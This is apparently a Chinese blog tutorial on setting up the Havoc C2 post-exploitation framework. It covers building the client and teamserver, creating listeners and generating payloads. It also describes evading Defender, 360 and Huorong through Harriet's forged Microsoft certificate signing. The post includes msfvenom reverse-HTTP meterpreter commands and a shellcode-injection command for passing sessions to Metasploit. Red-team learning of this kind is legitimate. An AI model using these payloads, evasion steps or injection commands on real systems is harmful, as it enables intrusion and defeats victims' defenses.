Havoc C2d的初次使用

Havoc C2

简介

Havoc是一款现代化的、可扩展的后渗透命令控制框架

当前的Havoc版本还处于早期开发版,随着框架的不断成熟,可能会对Havoc的API和核心结构进行大量更改

FullSessionGraph

以下的配置部分只做简单记录,具体细节还是自己去 Wiki指南 查看, 记得给作者一个⭐

安装

依赖

更新kali之后设置依赖项

apt update -y && apt upgrade -y
sudo apt install -y git build-essential apt-utils cmake libfontconfig1 libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev libspdlog-dev python3-dev libboost-all-dev mingw-w64 nasm

客户端

进入client里面,编译运行就可以了

cd Havoc/Client
proxychains make 
./Havoc 

编译前一定还是要配置好上面的依赖,如果缺了就会像这样,这种报错就是缺什么补什么,但像这里缺的spdlog,解决的办法就是下这个包🙃apt-get install libspdlog-dev

image-20230114232226211

编译好会生成Havoc, 赋权运行就会出现连接界面

image-20230109214940917

服务端

他的服务端是go实现的,接着配置依赖。最好设代理,反正我扶墙是下不下来

export GOPROXY=https://goproxy.io
go mod download golang.org/x/sys
go mod download github.com/ugorji/go

如果是新环境就快速配置一下go吧

wget -c https://studygolang.com/dl/golang/go1.19.5.linux-amd64.tar.gz
tar -zxvf go1.19.5.linux-amd64.tar.gz -C /usr/local
vim ~/.profile
export PATH=$PATH:usr/local/go/bin
source ~/.profile
go version

编译之后可以先修改配置文件再运行 ,不改的话就按照他原始的账密连接:5spider:password1234

cd Teamserver
./Install.sh
make
vim profiles/havoc.yaotl

image-20230114231522449

开启服务端

./teamserver server --profile ./profiles/havoc.yaotl -v --debug

image-20230114233318450

连接上了就可以开始探索了

image-20230114233536122

基本使用

监听

新建监听器View -> Listeners -> Add,他这里还多了设置header的地方,其他基本和cs差不多。这里用的ip后续可以利用cloudfare进行隐匿

image-20230114235919037

生成&上线

操作和cs很相似,菜单栏上Attack -> Payload,payload种类目前只有exe和dll

当前的waitforsingleobjectex是无混淆的。其他选项如ekko使用 Win32 API进行混淆 。config也是可以按照Wiki的解释进行修改

image-20230115000340985

生成之后感觉他裸奔过defender没什么希望就没有马上去上线(作者过了三个多月都没更新),先去试了下面的免杀框架。回来试这个的时候很😲。defender,360,火绒动静均无感😲。但是不知道是不是这个的原因这个时候桌面上很多系统应用都打不开了,重启之后发现我kde没了???😕

image-20230115022812734

免杀

尝试了Wiki中提到的这个免杀框架 harriet ,他使用SigThief使用伪造的Microsoft证书对二进制文件进行签名

cd Home-Grown-Red-Team/Harriet
bash setup.sh
bash Harriet.sh

image-20230115013420739

提前用havoc生成bin格式的shell,在这里设置好路径和名称,就会在当前目录下生成

image-20230115014611727

没有添加信任静态,静态360和火绒都可以过

image-20230115021036645

动态同样无感

image-20230115021223794

原始的exe为27/71,混淆后的查杀结果如下:

image-20230115024257948

派生会话

模块功能上havoc还不够成熟,体系也还有待完善。转移会话进行利用就很有必要了,这点也在havoc里实现了:

派生至msf

msfvenom -p windows/x64/meterpreter_reverse_http LHOST=192.168.130.5 LPORT=9999 -f raw > /home/kali/Desktop/msftest.bin
use exploit/multi/handler
set payload windows/x64/meterpreter_reverse_http
set lhost 192.168.130.5
set lport 9999

在havoc上执行,其中6940为当前的pid

shellcode inject x64 6940 /home/kali/Desktop/msftest.bin

image-20230115154421490

派生至cs

cs同样操作,只需要生成并指定bin格式payload的路径即可

image-20230115155145874

其他的一些后渗透命令还有很多就不一个个试了,练靶场的时候会再详细记录

image-20230115155305442

posted @ 2023-01-15 16:15  lockly  阅读(3252)  评论(2编辑  收藏  举报